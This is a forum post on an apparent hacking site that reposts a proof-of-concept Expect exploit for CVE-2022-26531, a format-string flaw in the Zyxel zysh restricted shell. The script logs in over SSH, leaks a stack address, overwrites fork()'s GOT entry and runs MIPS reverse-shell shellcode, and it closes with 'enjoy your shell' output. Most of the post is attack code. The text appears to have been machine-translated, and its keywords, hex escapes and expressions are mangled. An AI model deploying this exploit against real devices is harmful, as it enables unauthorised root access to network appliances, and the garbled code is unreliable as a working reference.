H

Zyxel Zysh-格式字符串

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#!/usr/bin/Expect -f

#raptor_zysh_fhtagn.exp- zysh格式字符串poc exploit
#版权所有(c)2022 marco ivaldi [email protected]

#'我们住在黑海中的一个平静的无知岛上
#无穷大,这并不意味着我们应该航行很远。
# -H。P. Lovecraft,Cthulhu的呼唤

#'在某些CLI中发现了多个不当输入验证缺陷
#Zyxel USG/Zywall系列固件版本4.09至4.71的命令,
#USG Flex系列固件版本4.50至5.21,ATP系列固件
#版本4.32至5.21,VPN系列固件版本4.30至
#5.21,NSG系列固件版本1.00至1.33补丁4,NXC2500
#固件版本6.10(AAIG.3)和早期版本,NAP203固件
#6.25版(ABFA.7)和早期版本,NWA50AX固件版本
#6.25(ABYW.5)和早期版本,WAC500固件6.30(ABVS.2)
#和早期版本,以及WAX510D固件6.30(ABTF.2)和
#早期版本,这可以允许本地身份验证的攻击者
#导致缓冲区溢出或系统崩溃,通过精心设计的有效载荷。
#-CVE-2022-26531

#Zysh二进制是一个受命令行的限制外壳
#多个Zyxel产品上的接口(CLI)。此概念证明利用
#演示如何利用我在
#某些Zysh命令的“扩展”参数,执行任意代码
#并逃脱受限的外壳环境。

# - 此利用目标是“ ping” zysh命令。
# - 用shellCode地址覆盖fork()的.got条目。
# - 基于泄漏的堆栈地址计算壳牌地址。
# - 硬编码的偏移和值可能需要一些调整,请参阅评论。
# - 其他目标的自动化/武器化作为练习。

#有关我的错误狩猎旅程以及在
#漏洞本身,您可以参考官方建议:
https://github.com/0xdea/advisories/blob/master/HNS-2022-02-Zyxel-zysh.txt

#USAGE:
#RAPTOR@blumenkraft〜%./raptor_zysh_fhtagn.exp删除管理密码
#raptor_zysh_fhtagn.exp- zysh格式字符串poc exploit
#版权所有(c)2022 marco ivaldi [email protected]

#泄漏的堆栈地址:0x7FE97170
#shellCode地址:0x7fe9de40
#基弦长度: 46
#敌对格式字符串:%.18U%1801 $ n%.169U%1801 $ hn%.150U%1801 $ hhn%.95U%1802 $ hhn

*享受您的外壳! *

#SH -5.1 $ UNAME -SNRMP
#Linux USG20-VPN 3.10.87-RT80-Cavium-Octeon MIPS64 Cavium Octeon III III V0.2 FPU V0.0
#SH-5.1 $ ID
#uid=10007(admin)gid=10000(操作员)组=10000(操作员)

#在:上测试
#带有固件5.10的Zyxel USG20-VPN
#[其他电器/版本也可能很脆弱]

#更改编码为8位ASCII的字符串,以免烦人转换为UTF-8
编码系统ISO8859-1
#敌对格式字符串通过直接参数访问来泄漏堆栈地址
设置Offset1 77
设置泄漏[格式'aaaa.0x %% d \ $ x'$ offset1]
#偏移通过直接参数访问在retloc雪橇中到达地址
设置Offset2 1801
设置Offset3 [Expr $ Offset2 + 1]
#泄漏的堆栈地址和ShellCode地址之间的区别
设置差异27856
#Retloc雪橇
#$ MIPS64-Linux-Readelf -A Zysh | GREP跳跃| GREP叉
#112DD558 0000967F R_MIPS_JUMP_SLOT 00000000 fork@glibc_2.0
#^^^^^^^^^^这是我们需要编码的地址[112DD558] [112DD558] [112DDD558+2] [112DD5558+2]
set retloc [字符串重复'\ x11 \ x2d \ xd5 \ x58 \ x58 \ x11 \ x2d \ xd5 \ xd5 \ x58 \ x58 \ x11 \ x2d \ x2d \ xd5 \ x5a \ x5a \ x11 \ x2d \ x2d \ x2d \ xd5 \ xd5 \ x5a'1024'1024]
#NOP雪橇
#NOP-等效指令: XOR $ T0,$ T0,$ T0
设置nops [字符串重复'\ x01 \ x8c \ x60 \ x26'64]
#shellCode
https://github.com/0xdea/shellcode/blob/main/mips/mips_n32_msb_linux_revsh.c
SET SC '\ x3c \ x0c \ x2f \ x62 \ x25 \ x8c \ x69 \ x6e \ x6e \ xaf \ xaf \ xac \ xff \ xff \ xff \ x3c \ x3c \ x0c \ x2f \ x73 \ x25 \ x8c \ x68 \ x68 \ xaf \ xaf \ xac \ xff0 \ xa3 \ xa3 \ xa0 \ xff3 \ xff3 \ xff3 \ xff3 \ x27 \ xa4 \ xff \ xac \ xa4 \ xff8 \ xaf \ xa0 \ xff \ x27 \ xa5 \ xa5 \ xff \ xf \ xf8 \ x 28 \ x06 \ xff \ xff \ x24 \ x02 \ x17 \ xa9 \ x01 \ x01 \ x01 \ x01 \ x01 \ x01 \ x01 \ x01 \ x01 \ x0c'
#填充以使记忆中的有效载荷对齐(为什么需要调整)
设置填充“ AAA”
#打印标头
send_user'aptor_zysh_fhtagn.exp- zysh格式字符串poc exploit \ n'
send_user'版权(c)2022 marco ivaldi [email protected] \ n \ n'
#检查命令行
如果{[[llength $ argv]!=3} {
send_error'usage:/raptor_zysh_fhtagn.epp主机用户Pass \ n'
出口1
}
#获取SSH连接参数
设置端口'22'
设置主机[lindex $ argv 0]
设置用户[lindex $ argv 1]
设置通行证[Lindex $ argv 2]
#通过术语环境变量注入有效载荷
设置env(enver)$ retloc $ nop $ sc $ padding
#通过SSH连接到目标
log_user 0
Spawn -Noecho SSH -Q -O stricthostkeychecking=no -p $ port $ host -l $ user
预计{
-Nocase'Passwass*'{
发送'$ PASS \ r'
}
默认{
send_error'error:无法连接到ssh \ n'
出口1
}
}
#泄漏堆栈地址
预计{
'路由器? $'{
发送'ping 127.0.0.1扩展名$泄漏\ r'
}
默认{
send_error'error:无法访问zysh提示\ n'
出口1
}
}
预计{
-re'ping:未知主机aaaa \。(0x。*)\ r \ n'{
}
默认{
send_error'error:无法泄漏堆栈地址\ n'
出口1
}
}
集合泄漏$ Expect_out(1,字符串)
send_user的泄漏堆栈地址: \ t $泄漏\ n'
#计算壳牌地址
设置retval [expr $泄漏+ $ diff]
设置retval [格式0x%x $ retval]
send_user'shellcode地址: \ t $ retval \ n'
#提取壳牌地址的每个字节
设置B1 [expr($ retval0xff000000)24] 24]
设置B2 [expr($ retval0x00ff0000)16]
设置B3 [expr($ retval0x0000ff00)8] 8]
设置B4 [expr($ retval0x000000ff)]
设置B1 [格式0x%x $ b1]
设置B2 [格式0x%x $ b2]
设置B3 [格式0x%x $ b3]
设置B4 [格式0x%x $ b4]
#计算敌对格式字符串的数字参数
设置base [字符串长度'/bin/zysudo.suid/bin/ping 127.0.0.1 -n -c 3']
send_user'Base String长度: \ t $ base \ n'
设置N1 [expr($ b4- $ base)%0x100]
设置N2 [expr($ b2- $ b4)%0x100]
设置N3 [expr($ b1- $ b2)%0x100]
设置N4 [expr($ b3- $ b1)%0x100]
#检查下面是否有危险的数字论点
如果{$ n1 10} {corm n10x100}
如果{$ n2 10} {corm n20x100}
如果{$ n3 10} {corm n30x100}
如果{$ n4 10} {corm n40x100}
#制作敌对格式字符串
SET exploit [格式'%%。%du %% $ offset2 \ $ n %%。%du %% $ offset2 \ $ hn %%。%du %% $ offset2 \ $ hhn %%。%du %% $ offset3 \ $ hhn'
send_user'敌对格式字符串: \ t $ exploit \ n \ n'
#不必要的调试
#互动+
#利用目标
设置提示'(#| \\\ $)$'
预计{
'路由器? $'{
发送'ping 127.0.0.1扩展名$ exploit \ r'
}
默认{
send_error'error:无法访问zysh提示\ n'
出口1
}
}
预计{
'路由器? $'{
send_error'错误:无法利用目标\ n'
出口1
}
-re $提示{
send_user'*享受您的外壳! * \ n'
发送'\ r'
相互影响
}
默认{
send_error'错误:无法利用目标\ n'
出口1
}
}
 
后退
顶部